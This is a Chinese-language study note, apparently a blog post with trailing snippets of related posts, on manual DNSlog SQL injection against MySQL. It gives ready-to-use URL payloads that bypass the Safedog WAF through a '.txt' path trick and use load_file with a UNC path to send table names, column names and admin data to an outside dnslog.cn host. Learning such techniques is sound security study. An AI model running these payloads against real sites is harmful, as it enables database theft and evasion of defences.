學習記錄-dns_log注入(手工注入)
一、dns_log注入的實用場景滿足條件
1.無回顯
2.不能用盲注,即使能使用盲注,存在被ban的風險高且效率低
3.資料庫配置能使用load_file函式可以傳送請求
4.擁有乙個dns伺服器接受傳送過來的資料
二、dns_log注入的實質
就是拼接語句,借助開發資料庫可能配置了函式load_file,通過函式傳送請求,將sql語句查詢的結果帶出來給我們自己設定的dns伺服器解析,通過日誌記錄可以看到結果資訊
三、總體思路
檢視是否存在dns_log注入(選擇最簡單的注入,不僅限於dns_log注入)----嘗試注入 #(不一定非要用dnslog注入,找最簡單的方法)
四、學習dns_log注入前,需要了解一些基礎知識:
1)unc路徑
\\主機位址(或者網域名稱)\檔案 也就是共享檔案路徑
2)smb服務
就是windowns的共享檔案服務,liunx上沒有,需要單獨安裝
3)資料庫設定,使用load_file()函式
1.選擇my.ini配置檔案,加入引數secure_file_priv=""
2.使用load_file函式,嘗試載入,load_file函式可以讀取給定的檔案,也可取訪問給定的url位址,前提是擁有讀取許可權、檔案在目的位址上、且my.ini函式配置secure_file_priv=""
4)apache繞過安全狗waf的一種方法(還有很多其它方法)
1.apache預設解析是遇到不認識或者沒有的會向前解析(可以設定)
2.waf白名單很大機率含有txt、png等這種格式檔案,將不會攔截
這裡就是運用txt檔案是白名單,安全狗不檢測,然後利用apache預設解析方式找不到txt檔案去上層解析進行傳遞
5)dnslog.cn是乙個不錯的dns服務平台
四、注入過程
1)檢視是否存在dns_log注入
若存在安全狗嘗試用txt繞過,這裡主要是檢測是否存在回顯
/1.txt?id=1 and 1=1
/1.txt?id=1 order by 1,2…
/1.txt?id=1 union select 1,2…
檢視是否能盲注;發現可以盲注,但是要考慮到風險及效率,與dns_log注入對比哪種更快捷
/1.txt?id=1 and sleep(5)
2)使用dns_log注入
通過查詢自帶庫獲取資料庫表名,這裡都是嘗試,不一定web資料庫就一定含有自帶庫
/1.txt?id=1 and load_file(concat(』//』,(select table_name from information_schema.tables where table_schema=database() limit 0,1),』.g2vngq.dnslog.cn/adc』)) ----注意的是這裡需要用limit限制一條資料,因為傳送到網域名稱只能取一條,而查詢出來的是集合;apache去尋找adc檔案發現沒有,就去尋找上層,產生了dns解析
查詢表欄位名,也利用自帶庫查詢
/1.txt?id=1 and load_file(concat(』//』,(select column_name from information_schema.columns where table_schema=database() and table_name=『***』 limit 0,1),』.g2vngq.dnslog.cn/adc』)) —第乙個字段
獲取資料
/1.txt?id=1 and load_file(concat(』//』,(select *** from admin limit 0,1),』.g2vngq.dnslog.cn/adc』)) —獲取第乙個x』x』x
五、個人總結
1)很多**都是使用了安全狗,嘗試多種方式繞過,這裡用了一種白名單組合apache預設解析的方法繞過
2)load_file函式資料庫預設是不開啟的,有些開發為了方便所以設定了這個,從而導致了dns_log注入
3)dns_log注入需要注意使用場景,多種情況下選擇,應該選擇最簡單的方法
4)unc路徑和smb服務為windowns系**有,liunx沒有若需要則可以單獨安裝服務
學習記錄 寬位元組注入 手工注入
學習記錄 寬位元組注入 手工注入 一 概念及原理 寬位元組注入其實質就是抓住資料庫為非英文編碼如gbk,通過傳入含特殊字元的sql語句,配合魔法引號被資料庫gbk編譯為漢字,從而達到溶解魔法引號的目的。二 注入步驟 大概步驟分為,判斷是否存在寬位元組注入 嘗試寬位元組注入 get傳參 1 判斷是否存...
sql注入 手工注入
表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...
學習DNSlog注入
學習 dnslog注入 簡介在sql注入無回顯的情況下,盲注是一種辦法,但費時。dnslog注入可以將資料外帶,通過dns解析日誌讀取回顯資料。原理及利用場景詳見大佬們的部落格 t1ddl3r 使用dnslog拯救你的盲打盲注 afanti 巧用dnslog實現無回顯注入 armyzer0 利用dn...